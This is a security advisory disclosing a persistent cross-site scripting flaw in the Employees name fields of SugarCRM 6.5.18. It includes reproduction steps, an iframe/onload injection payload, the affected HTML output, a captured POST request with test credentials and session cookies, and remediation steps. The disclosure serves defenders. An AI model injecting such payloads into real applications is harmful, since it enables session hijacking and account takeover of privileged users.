SugarCRM version 6.5.18 suffers from a persistent cross site scripting vulnerability.
174b1efde3e13dda0e63a200ae2c6980
Document Title:
===============
SugarCRM v6.5.18 - (Employees) Persistent Cross Site Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2257
Release Date:
=============
2020-11-13
Vulnerability Laboratory ID (VL-ID):
====================================
2257
Common Vulnerability Scoring System:
====================================
5.1
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
2.000€ - 3.000€
Product & Service Introduction:
===============================
SugarCRM empowers your marketing, sales and services teams to
collaborate across the entire customer lifecycle for more
meaningful, memorable experiences. More than 2 million users in 120
countries have switched to SugarCRM to fuel extraordinary
customer experiences. We have disrupted the market with a relentless
pursuit of innovation and visionary solutions,
bringing the world’s first no-touch, time-aware CX platform. The CX
suite aggregates the millions of different data points
on your customers and turns them into proactive truths, trends and
predictions for you to leverage.
(Copy of the Homepage: https://www.sugarcrm.com )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent
cross site scripting web vulnerability in the official SugarCRM v6.5.18
web-application.
Affected Product(s):
====================
SugarCRM
Product: SugarCRM v6.5.18 - CRM (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2020-05-03: Researcher Notification & Coordination (Security Researcher)
2020-05-04: Vendor Notification (Security Department)
2020-05-24: Vendor Notification (Security Department)
****-**-**: Vendor Response/Feedback (Security Department)
****-**-**: Vendor Fix/Patch (Service Developer Team)
****-**-**: Security Acknowledgements (Security Department)
2020-11-13: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted Authentication (Guest Privileges)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in
the official SugarCRM v6.5.18 web-application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to
compromise browser to web-application requests from the application-side.
The persistent cross site web vulnerability is located in the First
Name and Last Name input fields of the
Create Employee module. Remote attackers are able to inject malicious
script code as firstname and lastname
to manipulate the EditView&module=Call (Scheduling Section) module.
Remote attackers with low privileged sugarcrm
accounts are able to inject own malicious script code as employee.
Higher privileged application user accounts will
execute the script code on preview of the Call information to e.g gain
moderator or administrator rights via session
hijacking, phishing or further persistent manipulative web attacks. The
request method to inject is POST and the attack
is limited to registered user accounts.
Successful exploitation of the vulnerability results in session
hijacking, persistent phishing attacks, persistent
external redirects to malicious source and persistent manipulation of
affected application modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Employee
Vulnerable Input(s):
[+] First name
[+] Last name
Vulnerable Parameter(s):
[+] first_name
[+] last_name
Affected Module(s):
[+] EditView&module=Call (Scheduling)
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by
remote attackers with low privileged user account and with low user
interaction.
For security demonstration or to reproduce the persistent cross site web
vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Open the sugarcrm application
2. Login as low privileged user account or register as user
3. Inject payload inside of the first_name and last_name parameter
(add(admin/manager)/edit(admin/manager/user)/register(user/manager))
4. Save the create or submit on register
5. Move to the calls, click the user and the code executes in the
scheduling section next to the user account information
Note: The script code executes immediatly each time on preview for
users, managers and administrators
6. Successful reproduce of the persistent cross site scripting web
vulnerability!
PoC: Payload
">%20<iframe%20src=evil.source%20onload=alert(document.domain)>
PoC: Vulnerable Source
<div class="schedulerDiv"><h3>Scheduling</h3><table
id="schedulerTable"><tbody><tr class="schedulerTopRow"><th colspan="38">
<h4>Monday May 4 2020</h4></th></tr><tr
class="schedulerTimeRow"><td> </td><th scope="col"
colspan="4">2:00pm</th>
<th scope="col" colspan="4">3:00</th><th scope="col"
colspan="4">4:00</th><th scope="col" colspan="4">5:00</th>
<th scope="col" colspan="4">6:00</th><th scope="col"
colspan="4">7:00</th><th scope="col" colspan="4">8:00</th>
<th scope="col" colspan="4">9:00</th><th scope="col"
colspan="4">10:00</th><td> </td></tr><tr class="schedulerAttendeeRow">
<td scope="row"><img
src="index.php?entryPoint=getImage&themeName=Sugar5&imageName=Users.gif"
align="absmiddle">
h"[first_name]>%20<iframe%20src=evil.source%20onload=alert(document.domain)>
m[lastname_name]">%20<iframe%20src=evil.source%20onload=alert(document.domain)></td><td> </td><td> </td><td> </td><td> </td><td> </td><td> </td><td> </td><td> </td>
<td> </td><td> </td><td> </td><td> </td><td> </td><td> </td><td> </td><td> </td><td>
</td><td> </td><td class="schedulerSlotCellStartTime"
style="background-color: rgb(77, 94, 170);"> </td><td
class="schedulerSlotCellEndTime"> </td><td> </td><td> </td><td> </td><td> </td><td> </td><td>
</td><td> </td><td> </td><td> </td><td> </td><td> </td><td> </td><td> </td><td> </td><td>
</td><td> </td><td class="schedulerAttendeeDeleteCell" nowrap="">
<a title="rem" class="listViewTdToolsS1" style="text-decoration:none;"
href="javascript:SugarWidgetScheduleRow.deleteRow('1');">
<img
src="index.php?entryPoint=getImage&themeName=Sugar5&imageName=delete_inline.gif"
alt="rem" border="0" align="absmiddle"> rem</a>
</td></tr></tbody></table></div>
--- PoC Session Logs [POST] ---
https://sugar-crm.localhost:8000/index.php
Host: sugar-crm.localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0)
Gecko/20100101 Firefox/76.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 886
Origin: https://sugar-crm.localhost:8000
Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=
Connection: keep-alive
Referer: https://sugar-crm.localhost:8000/index.php
Cookie: PHPSESSID=unjusi3e126co9vvru08ebp010; sugar_user_theme=Sugar5;
ck_login_id_20=1; ck_login_language_20=en_us
module=Employees&record=1&isDuplicate=false&action=Save&return_module=Employees&return_action=DetailView&return_id=1&module_tab=&contact_role=&
relate_to=Employees&relate_id=1&offset=1&employee_status=Active&first_name=h">%20<iframe%20src=evil.source%20onload=alert(document.domain)>&
last_name=m">%20<iframe%20src=evil.source%20onload=alert(document.domain)>&title=Administrator&
phone_work=&department=&phone_mobile=&reports_to_name=&reports_to_id=&phone_other=&phone_fax=&phone_home=&messenger_type=&
messenger_id=&description=&address_street=&address_city=&address_state=&address_postalcode=&address_country=&Users_email_widget_id=0&
emailAddressWidget=1&[email protected]&Users0emailAddressId0=395c86c7-4a1d-f114-5b93-519b4090cdd7&Users0emailAddressPrimaryFlag=Users0emailAddress0&Users0emailAddressVerifiedFlag0=true&
[email protected]&useEmailWidget=true
-
POST: HTTP/1.1 302 Moved Temporarily
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Content-Type: text/html; charset=UTF-8
Location: index.php?action=DetailView&module=Employees&record=1
Server: Microsoft-IIS/8.5
Set-Cookie: ck_login_id_20=1; Max-Age=7776000; path=/;
domain=sugar-crm.localhost:8000
ck_login_language_20=en_us; Max-Age=7776000; path=/;
domain=sugar-crm.localhost:8000
sugar_user_theme=Sugar5; Max-Age=31536000
X-Powered-By: ASP.NET
Content-Length: 184
References:
https://sugar-crm.localhost:8000/index.php
https://sugar-crm.localhost:8000/index.php?action=DetailView&module=Employees&record=1
Solution - Fix & Patch:
=======================
The vulnerability can be patched following the next steps ...
1. Restrict the input fields and disallow special chars for the
first_name and last_name values
2. Escape and encode the contents which are transmitted from the inputs
3. Parse and sanitize the vulnerable scheduling section ouput location
to ensure its filtered securely
Security Risk:
==============
The security risk of the persistent cross site web vulnerability in the
sugarcrm web-application is estimated as medium.
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.
Domains: www.vulnerability-lab.com www.vuln-lab.com
www.vulnerability-db.com
Services: magazine.vulnerability-lab.com
paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab
youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php
Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.
Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com